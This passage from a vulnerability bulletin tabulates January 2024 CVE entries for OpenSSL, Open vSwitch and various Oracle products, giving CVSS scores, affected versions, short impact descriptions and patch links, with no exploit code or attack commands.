			A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and PKCS12_newpass() . We have also fixed a similar issue in SMIME_write_PKCS 7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. **CVE ID : CVE-2024-0727**		
Affected Version(s): From (including) 1.1.1 Up to (excluding) 1.1.1x					
N/A	26-Jan-2024	5.5	Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly.	https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2 , https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a, https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c	A-OPE-OPEN-140224/876

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and PKCS12_newpass() . We have also fixed a similar issue in SMIME_write_PKCS 7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. **CVE ID : CVE-2024-0727**		
Affected Version(s): From (including) 3.0.0 Up to (excluding) 3.0.13					
N/A	26-Jan-2024	5.5	Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly.	https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2 , https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a, https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c	A-OPE-OPEN-140224/877

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and PKCS12_newpass() . We have also fixed a similar issue in SMIME_write_PKCS 7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. **CVE ID : CVE-2024-0727**		
Affected Version(s): From (including) 3.1.0 Up to (excluding) 3.1.5					
N/A	26-Jan-2024	5.5	Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly.	https://github.com/openssl/openssl/commit/09df4395b5071217b76dc7d3d2e630eb8c5a79c2 , https://github.com/openssl/openssl/commit/775acfdbd0c6af9ac855f34969cdab0c0c90844a, https://github.com/openssl/openssl/commit/d135eeab8a5dbf72b3da5240bab9ddb7678dbd2c	A-OPE-OPEN-140224/878

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes()		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			and PKCS12_newpass() . We have also fixed a similar issue in SMIME_write_PKCS 7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. **CVE ID : CVE-2024-0727**		
Vendor: Openvswitch					
Product: openvswitch					
Affected Version(s): 2.17.8					
Missing Release of Memory after Effective Lifetime	19-Jan-2024	7.5	openvswitch 2.17.8 was discovered to contain a memory leak via the function xmalloc__ in openvswitch-2.17.8/lib/util.c. **CVE ID : CVE-2024-22563**	N/A	A-OPE-OPEN-140224/879
Vendor: Oracle					
Product: audit_vault_and_database_firewall					
Affected Version(s): From (including) 20.1 Up to (including) 20.9					
N/A	16-Jan-2024	7.6	Vulnerability in Oracle Audit Vault and Database Firewall	https://www.oracle.com/security-	A-ORA-AUDI-140224/880

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(component: Firewall). Supported versions that are affected are 20.1-20.9. Difficult to exploit vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Audit Vault and Database Firewall, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Audit Vault and Database Firewall. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H).	alerts/cpujan2024.html	

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20924		
N/A	16-Jan-2024	3	Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Difficult to exploit vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. While the vulnerability is in Oracle Audit Vault and Database Firewall, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Audit Vault and Database Firewall accessible data. CVSS 3.1 Base Score 3.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/A	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-AUDI-140224/881

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			C:H/PR:H/UI:N/S:C/C:L/I:N/A:N). **CVE ID : CVE-2024-20910**		
N/A	16-Jan-2024	2.7	Vulnerability in Oracle Audit Vault and Database Firewall (component: Firewall). Supported versions that are affected are 20.1-20.9. Easily exploitable vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Audit Vault and Database Firewall. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Audit Vault and Database Firewall accessible data. CVSS 3.1 Base Score 2.7 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20912**	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-AUDI-140224/882

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Product: bi_publisher					
Affected Version(s): 12.2.1.4.0					
N/A	16-Jan-2024	5.4	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). Supported versions that are affected are 6.4.0.0.0, 7.0.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BI_P-140224/883

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20979**		
N/A	16-Jan-2024	5.4	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). The supported version that is affected is 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BI_P-140224/884

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20987**		
Affected Version(s): 6.4.0.0.0					
N/A	16-Jan-2024	5.4	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). Supported versions that are affected are 6.4.0.0.0, 7.0.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BI_P-140224/885

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20979		
Affected Version(s): 7.0.0.0.0					
N/A	16-Jan-2024	5.4	Vulnerability in the Oracle BI Publisher product of Oracle Analytics (component: Web Server). Supported versions that are affected are 6.4.0.0.0, 7.0.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle BI Publisher. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle BI Publisher, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle BI Publisher accessible data as	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BI_P-140224/886

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			well as unauthorized read access to a subset of Oracle BI Publisher accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20979**		
Product: business_intelligence					
Affected Version(s): 12.2.1.4.0					
N/A	16-Jan-2024	5	Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Pod Admin). Supported versions that are affected are 6.4.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BUSI-140224/887

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N). **CVE ID : CVE-2024-20904**		
Affected Version(s): 6.4.0.0.0					
N/A	16-Jan-2024	5	Vulnerability in the Oracle Business Intelligence Enterprise Edition product of Oracle Analytics (component: Pod Admin). Supported versions that are affected are 6.4.0.0.0 and 12.2.1.4.0. Easily exploitable vulnerability allows low privileged attacker	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-BUSI-140224/888

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			with network access via HTTP to compromise Oracle Business Intelligence Enterprise Edition. While the vulnerability is in Oracle Business Intelligence Enterprise Edition, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Business Intelligence Enterprise Edition accessible data. CVSS 3.1 Base Score 5.0 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N). **CVE ID : CVE-2024-20904**		
Product: complex_maintenance\,_repair\,_and_overhaul					
Affected Version(s): 11.5					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle Supply Chain (component:	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-COMP-140224/889

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			LOV). Supported versions that are affected are 11.5, 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair, and Overhaul. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Complex Maintenance, Repair, and Overhaul, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair, and Overhaul accessible data as well as		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			unauthorized read access to a subset of Oracle Complex Maintenance, Repair, and Overhaul accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20942**		
Affected Version(s): 12.1					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle Supply Chain (component: LOV). Supported versions that are affected are 11.5, 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair, and Overhaul. Successful attacks	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-COMP-140224/890

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			require human interaction from a person other than the attacker and while the vulnerability is in Oracle Complex Maintenance, Repair, and Overhaul, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair, and Overhaul accessible data as well as unauthorized read access to a subset of Oracle Complex Maintenance, Repair, and Overhaul accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-20942		
Affected Version(s): 12.2					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Complex Maintenance, Repair, and Overhaul product of Oracle Supply Chain (component: LOV). Supported versions that are affected are 11.5, 12.1 and 12.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Complex Maintenance, Repair, and Overhaul. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Complex Maintenance, Repair, and Overhaul, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-COMP-140224/891

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			result in unauthorized update, insert or delete access to some of Oracle Complex Maintenance, Repair, and Overhaul accessible data as well as unauthorized read access to a subset of Oracle Complex Maintenance, Repair, and Overhaul accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20942**		
Product: customer_interaction_history					
Affected Version(s): From (including) 12.2.3 Up to (including) 12.2.13					
N/A	16-Jan-2024	6.1	Vulnerability in the Oracle Customer Interaction History product of Oracle E-Business Suite (component: Outcome-Result). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-CUST-140224/892

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			allows unauthenticated attacker with network access via HTTP to compromise Oracle Customer Interaction History. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Customer Interaction History, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Customer Interaction History accessible data as well as unauthorized read access to a subset of Oracle Customer Interaction History accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/A		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			C:L/PR:N/UI:R/S:C/C:L/I:L/A:N). **CVE ID : CVE-2024-20950**		
Product: enterprise_manager					
Affected Version(s): 13.5.0.0					
N/A	16-Jan-2024	8.3	Vulnerability in the Oracle Enterprise Manager Base Platform product of Oracle Enterprise Manager (component: Event Management). The supported version that is affected is 13.5.0.0. Easily exploitable vulnerability allows high privileged attacker with access to the physical communication segment attached to the hardware where the Oracle Enterprise Manager Base Platform executes to compromise Oracle Enterprise Manager Base Platform. While the vulnerability is in Oracle Enterprise Manager Base Platform, attacks may significantly impact additional products (scope	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-ENTE-140224/893

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Enterprise Manager Base Platform accessible data as well as unauthorized access to critical data or complete access to all Oracle Enterprise Manager Base Platform accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Enterprise Manager Base Platform. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L). **CVE ID : CVE-2024-20916**		
Product: financial_services_analytical_applications_infrastructure					
Affected Version(s): 8.0.7					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/894

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Affected Version(s): 8.0.8					
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component:	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/895

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical		

CVSS Scoring Scale	0-1	1-2	2-3	3-4	4-5	5-6	6-7	7-8	8-9	9-10

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Affected Version(s): 8.0.9					
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/896

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Affected Version(s): 8.1.0					
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/897

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Affected Version(s): 8.1.1					
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change).	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/898

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Affected Version(s): 8.1.2					

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
N/A	16-Jan-2024	7.4	Vulnerability in the Oracle Financial Services Analytical Applications Infrastructure product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 8.0.7, 8.0.8, 8.0.9, 8.1.0, 8.1.1 and 8.1.2. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Analytical Applications Infrastructure. While the vulnerability is in Oracle Financial Services Analytical Applications Infrastructure, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Financial Services	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-FINA-140224/899

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Analytical Applications Infrastructure accessible data as well as unauthorized read access to a subset of Oracle Financial Services Analytical Applications Infrastructure accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Financial Services Analytical Applications Infrastructure. CVSS 3.1 Base Score 7.4 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L). **CVE ID : CVE-2023-21901**		
Product: graalvm					
Affected Version(s): 20.3.12					
N/A	16-Jan-2024	5.9	Vulnerability in the Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition product of Oracle Java SE	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/900

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			(component: Scripting). Supported versions that are affected are Oracle Java SE: 8u391, 8u391-perf, 11.0.21; Oracle GraalVM for JDK: 17.0.9; Oracle GraalVM Enterprise Edition: 20.3.12, 21.3.8 and 22.3.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Java SE, Oracle GraalVM for JDK, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability can be exploited by using APIs in the specified Component, e.g.,		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			through a web service which supplies data to the APIs. This vulnerability also applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. CVSS 3.1 Base Score 5.9 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N). **CVE ID : CVE-2024-20926**		
N/A	16-Jan-2024	2.5	Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JavaFX). Supported versions that are affected are Oracle Java SE: 8u391; Oracle GraalVM Enterprise Edition:	https://www.oracle.com/security-alerts/cpujan2024.html	A-ORA-GRAA-140224/901

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			20.3.12 and 21.3.8. Difficult to exploit vulnerability allows unauthenticated attacker with logon to the infrastructure where Oracle Java SE, Oracle GraalVM Enterprise Edition executes to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Java SE, Oracle GraalVM Enterprise Edition accessible data. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the		

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			internet) and rely on the Java sandbox for security. This vulnerability does not apply to Java deployments, typically in servers, that load and run only trusted code (e.g., code installed by an administrator). CVSS 3.1 Base Score 2.5 (Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:N/I:L/A:N). **CVE ID : CVE-2024-20922**		
Affected Version(s): 21.3.8					
